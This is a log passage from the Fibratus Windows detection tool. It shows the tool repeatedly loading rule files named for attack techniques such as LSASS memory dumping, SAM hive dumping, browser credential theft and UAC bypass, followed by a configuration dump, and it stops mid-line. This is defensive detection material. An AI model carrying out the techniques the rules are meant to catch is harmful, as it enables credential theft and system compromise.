+time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T11:27:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:28:01+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T11:28:01+01:00 level=info msg=bootstrapping with pid 17760. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T11:28:01+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 enabled=>false to=>[] content-type=>text/html use-template=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false enable-handle=>false flush-interval=>1s enable-registry=>true enable-net=>true buffer-size=>512 max-buffers=>36 enable-threadpool=>false enable-dns=>false stack-enrichment=>true enable-audit-api=>true enable-thread=>true enable-vamap=>true min-buffers=>16 enable-fileio=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-size=>100 max-age=>0 formatter=>text log-stdout=>true max-backups=>15] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info] amqp=>[ enabled=>false vhost=>/ durable=>false url=>amqp://localhost:5672 timeout=>5s tls-insecure-skip-verify=>false exchange=>fibratus passive=>false delivery-mode=>transient exchange-type=>topic routing-key=>fibratus] http=>[ serializer=>json enabled=>false endpoints=>[] method=>POST tls-insecure-skip-verify=>false timeout=>5s enable-gzip=>false] elasticsearch=>[ timeout=>5s template-name=>fibratus enabled=>false healthcheck-timeout=>5s trace-log=>false index-name=>fibratus healthcheck=>true flush-period=>1s servers=>[http://127.0.0.1:9200] gzip-compression=>false sniff=>false healthcheck-interval=>10s bulk-workers=>1]] + pe ............................. [ read-symbols=>false read-resources=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false excluded-procs=>[] scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-files=>false enabled=>false excluded-files=>[] skip-allocs=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T11:28:01+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:28:04+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:28:50+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T11:28:50+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:28:51+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:28:53+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T11:28:53+01:00 level=info msg=loading rule from 